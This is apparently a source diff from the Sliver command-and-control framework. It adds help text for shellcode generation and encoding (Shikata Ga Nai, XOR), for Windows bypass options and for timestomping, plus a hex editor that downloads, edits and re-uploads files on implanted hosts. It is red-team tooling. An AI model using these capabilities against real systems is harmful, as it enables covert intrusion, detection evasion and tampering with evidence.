Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
[[.Bold]]Example:[[.Normal]]
execute /bin/bash --env FOO=1 -- -c env
@@ -139,6 +147,11 @@ FOO=1
PWD=/Users/moloch/git/sliver
SHLVL=1
_=/usr/bin/env
`
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
`
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -176,8 +189,8 @@ You can also stack the C2 configuration with multiple protocols:
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
generate --mtls foo.example.com
@@ -193,6 +206,21 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
When generating shellcode (--format shellcode), you can tune the shellcode generator:
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
@@ -298,9 +326,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
Default (datetime): "2006-01-02 15:04:05"
--unix: 1704067200
--unix-ms: 1704067200000
--rfc3339: 2024-01-01T00:00:00Z
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
[[.Bold]][[.Underline]]Examples[[.Normal]]
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
chtimes --unix /tmp/file 1704112496 1704112556
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
`
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +443,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
generate --format shellcode
`
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
like architecture, iterations, and bad characters.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode x64 shellcode with 3 iterations:
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
Avoid bad chars and write to a file:
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
List encoders and supported architectures:
shellcode-encoders
`
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode a single file with shikata_ga_nai:
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
Encode multiple files and write outputs to a directory:
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
Avoid bad characters with SGN:
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
`
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
+37
View File
@@ -0,0 +1,37 @@
package hexedit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the hex-edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
hexEditCmd := &cobra.Command{
Use: consts.HexEditStr + " <remote path>",
Short: "Hex edit a remote file",
Long: help.GetHelpFor([]string{consts.HexEditStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
HexEditCmd(cmd, con, args)
},
}
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(hexEditCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to hex edit"),
)
return []*cobra.Command{hexEditCmd}
}
+713
View File
@@ -0,0 +1,713 @@
package hexedit
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type editorMode int
const (
modeNormal editorMode = iota
modeHexEdit
modeASCIIEdit
modeCommand
)
type exitAction int
const (
actionNone exitAction = iota
actionQuit
actionSaveQuit
)
const bytesPerLine = 16
type editorResult struct {
Data []byte
Modified bool
Action exitAction
Force bool
}
type editorModel struct {
data []byte
original []byte
modified []bool
modifiedCount int
cursor int
top int
width int
height int
mode editorMode
command string
commandPrefix rune
pending rune
dirty bool
forceQuit bool
action exitAction
filename string
message string
clearMessage bool
nibbleSet bool
nibbleValue byte
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
data: copyData,
original: append([]byte(nil), data...),
modified: make([]bool, len(copyData)),
mode: modeNormal,
filename: filename,
commandPrefix: ':',
}
if offset > 0 && offset < len(copyData) {
model.cursor = offset
}
return model
}
func (m *editorModel) Init() tea.Cmd {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
return nil
}
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
case modeHexEdit:
return m.handleHexEdit(msg)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
default:
return m.handleNormal(msg)
}
}
return m, nil
}
func (m *editorModel) View() string {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
textHeight := m.textHeight()
var b strings.Builder
for i := 0; i < textHeight; i++ {
lineIndex := m.top + i
b.WriteString(m.renderLine(lineIndex))
if i < textHeight-1 {
b.WriteByte('\n')
}
}
if m.height < 2 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
if m.height < 3 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
}
func (m *editorModel) result() editorResult {
data := append([]byte(nil), m.data...)
return editorResult{
Data: data,
Modified: m.dirty,
Action: m.action,
Force: m.forceQuit,
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
m.commandPrefix = ':'
case tea.KeyEnter:
m.executeCommand(strings.TrimSpace(m.command))
m.command = ""
m.mode = modeNormal
m.commandPrefix = ':'
if m.action != actionNone {
return m, tea.Quit
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
case tea.KeyBackspace:
if m.nibbleSet {
m.nibbleSet = false
return m, nil
}
m.moveLeft()
case tea.KeyLeft:
m.moveLeft()
m.nibbleSet = false
case tea.KeyRight:
m.moveRight()
m.nibbleSet = false
case tea.KeyUp:
m.moveUp()
m.nibbleSet = false
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
val, ok := hexNibble(r)
if !ok {
continue
}
if !m.nibbleSet {
m.nibbleValue = val << 4
m.nibbleSet = true
continue
}
m.setByte(m.nibbleValue | val)
m.nibbleSet = false
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if r < 0 || r > 0xFF {
continue
}
m.setByte(byte(r))
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if m.handleNormalRune(r) {
break
}
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormalRune(r rune) bool {
if m.pending != 0 {
handled := true
switch m.pending {
case 'g':
if r == 'g' {
m.gotoTop()
} else {
handled = false
}
default:
handled = false
}
m.pending = 0
if handled {
return true
}
}
switch r {
case 'h':
m.moveLeft()
case 'j':
m.moveDown()
case 'k':
m.moveUp()
case 'l':
m.moveRight()
case '0':
m.moveLineStart()
case '$':
m.moveLineEnd()
case 'i':
m.mode = modeHexEdit
m.nibbleSet = false
case 'a':
m.mode = modeASCIIEdit
case 'x':
m.setByte(0x00)
case 'g':
m.pending = 'g'
case 'G':
m.gotoBottom()
case ':':
m.mode = modeCommand
m.command = ""
m.commandPrefix = ':'
}
return false
}
func (m *editorModel) executeCommand(cmd string) {
if cmd == "" {
return
}
if isNumericOffset(cmd) {
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
m.gotoOffset(int(value))
return
}
}
switch strings.ToLower(cmd) {
case "q":
m.action = actionQuit
case "q!":
m.action = actionQuit
m.forceQuit = true
case "wq", "x":
m.action = actionSaveQuit
case "w":
m.message = "Use :wq to upload and exit"
m.clearMessage = true
default:
m.message = fmt.Sprintf("Unknown command: %s", cmd)
m.clearMessage = true
}
}
func (m *editorModel) renderLine(lineIndex int) string {
totalWidth := m.textWidth()
if totalWidth <= 0 {
return ""
}
if lineIndex >= m.totalLines() {
return lineStyle.Width(totalWidth).Render("~")
}
lineStart := lineIndex * bytesPerLine
hexCells := make([]string, bytesPerLine)
asciiCells := make([]string, bytesPerLine)
for i := 0; i < bytesPerLine; i++ {
idx := lineStart + i
if idx >= len(m.data) {
hexCells[i] = " "
asciiCells[i] = " "
continue
}
byteVal := m.data[idx]
hexRaw := fmt.Sprintf("%02x", byteVal)
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
}
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
asciiCells[i] = asciiRaw
}
var b strings.Builder
b.WriteString(fmt.Sprintf("%08x", lineStart))
b.WriteString(": ")
for i := 0; i < bytesPerLine; i++ {
if i == 8 {
b.WriteByte(' ')
}
b.WriteString(hexCells[i])
if i < bytesPerLine-1 {
b.WriteByte(' ')
}
}
b.WriteString(" |")
for i := 0; i < bytesPerLine; i++ {
b.WriteString(asciiCells[i])
}
b.WriteString("|")
return lineStyle.Width(totalWidth).Render(b.String())
}
func (m *editorModel) statusLine() string {
mode := "NORMAL"
switch m.mode {
case modeHexEdit:
mode = "HEX"
case modeASCIIEdit:
mode = "ASCII"
case modeCommand:
mode = "COMMAND"
}
fileName := baseName(m.filename)
if fileName == "" {
fileName = "[No Name]"
}
modified := ""
if m.dirty {
modified = " [+]"
}
cursor := m.cursor
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
}
func (m *editorModel) commandLine() string {
if m.mode == modeCommand {
return ":" + m.command
}
if m.message != "" {
return m.message
}
switch m.mode {
case modeHexEdit:
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
case modeASCIIEdit:
return "ESC: normal type to edit bytes :wq save+quit :q quit"
default:
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
}
}
func (m *editorModel) textHeight() int {
if m.height <= 2 {
return 1
}
return m.height - 2
}
func (m *editorModel) textWidth() int {
if m.width <= 0 {
return 1
}
return m.width
}
func (m *editorModel) totalLines() int {
if len(m.data) == 0 {
return 1
}
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
}
func (m *editorModel) ensureCursorVisible() {
if len(m.data) == 0 {
m.cursor = 0
m.top = 0
return
}
if m.cursor < 0 {
m.cursor = 0
}
if m.cursor >= len(m.data) {
m.cursor = len(m.data) - 1
}
line := m.cursor / bytesPerLine
height := m.textHeight()
if line < m.top {
m.top = line
} else if line >= m.top+height {
m.top = line - height + 1
}
if m.top < 0 {
m.top = 0
}
maxTop := m.totalLines() - height
if maxTop < 0 {
maxTop = 0
}
if m.top > maxTop {
m.top = maxTop
}
}
func (m *editorModel) moveLeft() {
if len(m.data) == 0 {
return
}
if m.cursor > 0 {
m.cursor--
}
}
func (m *editorModel) moveRight() {
if len(m.data) == 0 {
return
}
if m.cursor < len(m.data)-1 {
m.cursor++
}
}
func (m *editorModel) moveUp() {
if len(m.data) == 0 {
return
}
if m.cursor >= bytesPerLine {
m.cursor -= bytesPerLine
}
}
func (m *editorModel) moveDown() {
if len(m.data) == 0 {
return
}
if m.cursor+bytesPerLine < len(m.data) {
m.cursor += bytesPerLine
}
}
func (m *editorModel) moveLineStart() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
m.cursor = line * bytesPerLine
}
func (m *editorModel) moveLineEnd() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
end := (line+1)*bytesPerLine - 1
if end >= len(m.data) {
end = len(m.data) - 1
}
m.cursor = end
}
func (m *editorModel) gotoTop() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = 0
}
func (m *editorModel) gotoBottom() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = len(m.data) - 1
}
func (m *editorModel) gotoOffset(offset int) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if offset < 0 || offset >= len(m.data) {
m.message = fmt.Sprintf("Offset out of range: %d", offset)
m.clearMessage = true
return
}
m.cursor = offset
m.ensureCursorVisible()
}
func (m *editorModel) setByte(value byte) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
return
}
wasModified := m.modified[m.cursor]
orig := m.original[m.cursor]
m.data[m.cursor] = value
if value == orig {
if wasModified {
m.modified[m.cursor] = false
if m.modifiedCount > 0 {
m.modifiedCount--
}
}
} else if !wasModified {
m.modified[m.cursor] = true
m.modifiedCount++
}
m.dirty = m.modifiedCount > 0
}
func printableByte(b byte) byte {
if b >= 32 && b <= 126 {
return b
}
return '.'
}
func (m *editorModel) isModified(idx int) bool {
if idx < 0 || idx >= len(m.modified) {
return false
}
return m.modified[idx]
}
func hexChar(n byte) byte {
if n < 10 {
return '0' + n
}
return 'a' + (n - 10)
}
func hexNibble(r rune) (byte, bool) {
switch {
case r >= '0' && r <= '9':
return byte(r - '0'), true
case r >= 'a' && r <= 'f':
return byte(r-'a') + 10, true
case r >= 'A' && r <= 'F':
return byte(r-'A') + 10, true
}
return 0, false
}
func isNumericOffset(value string) bool {
value = strings.TrimSpace(value)
if value == "" {
return false
}
if strings.HasPrefix(strings.ToLower(value), "0x") {
_, err := strconv.ParseInt(value, 0, 64)
return err == nil
}
for _, r := range value {
if r < '0' || r > '9' {
return false
}
}
return true
}
func popRune(value string) string {
runes := []rune(value)
if len(runes) == 0 {
return value
}
return string(runes[:len(runes)-1])
}
func baseName(path string) string {
if path == "" {
return ""
}
clean := strings.ReplaceAll(path, "\\", "/")
if idx := strings.LastIndex(clean, "/"); idx != -1 {
return clean[idx+1:]
}
return path
}
+349
View File
@@ -0,0 +1,349 @@
package hexedit
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const (
beaconPollInterval = 1 * time.Second
)
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
maxSizeStr, _ := cmd.Flags().GetString("max-size")
maxSize, err := parseByteSize(maxSizeStr)
if err != nil {
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
return
}
if maxSize <= 0 {
con.PrintErrorf("--max-size must be greater than zero\n")
return
}
offset, _ := cmd.Flags().GetInt64("offset")
if offset < 0 {
con.PrintErrorf("--offset must be zero or positive\n")
return
}
fetchSize := maxSize + 1
if fetchSize < maxSize {
fetchSize = maxSize
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if int64(len(data)) > maxSize {
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
return
}
if offset > 0 {
if len(data) == 0 {
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
return
}
if offset >= int64(len(data)) {
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
return
}
}
path := download.Path
if path == "" {
path = remotePath
}
for {
result, err := runHexEditor(data, path, int(offset))
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
data = result.Data
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
if err := uploadEditedContent(cmd, con, path, data); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
MaxBytes: maxBytes,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func parseByteSize(input string) (int64, error) {
value := strings.TrimSpace(input)
if value == "" {
return 0, fmt.Errorf("size is required")
}
value = strings.ReplaceAll(value, " ", "")
value = strings.ToUpper(value)
idx := 0
for idx < len(value) {
c := value[idx]
if (c >= '0' && c <= '9') || c == '.' {
idx++
continue
}
break
}
if idx == 0 {
return 0, fmt.Errorf("invalid size %q", input)
}
numStr := value[:idx]
unitStr := strings.TrimSpace(value[idx:])
if unitStr == "" {
unitStr = "B"
}
multiplier := int64(1)
switch unitStr {
case "B":
multiplier = 1
case "K", "KB", "KIB":
multiplier = 1024
case "M", "MB", "MIB":
multiplier = 1024 * 1024
case "G", "GB", "GIB":
multiplier = 1024 * 1024 * 1024
case "T", "TB", "TIB":
multiplier = 1024 * 1024 * 1024 * 1024
default:
return 0, fmt.Errorf("unknown size unit %q", unitStr)
}
numVal, err := strconv.ParseFloat(numStr, 64)
if err != nil {
return 0, fmt.Errorf("invalid size %q", input)
}
if numVal <= 0 {
return 0, fmt.Errorf("size must be greater than zero")
}
size := int64(numVal * float64(multiplier))
if size <= 0 {
return 0, fmt.Errorf("size is out of range")
}
return size, nil
}
-1
View File
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
})
// HTTP
+4 -6
View File
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
EnforceOTP: !enforceOTP,
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
})
con.Println()
if err != nil {
+2 -1
View File
@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
con.PrintInfof("Starting Wireguard listener ...\n")
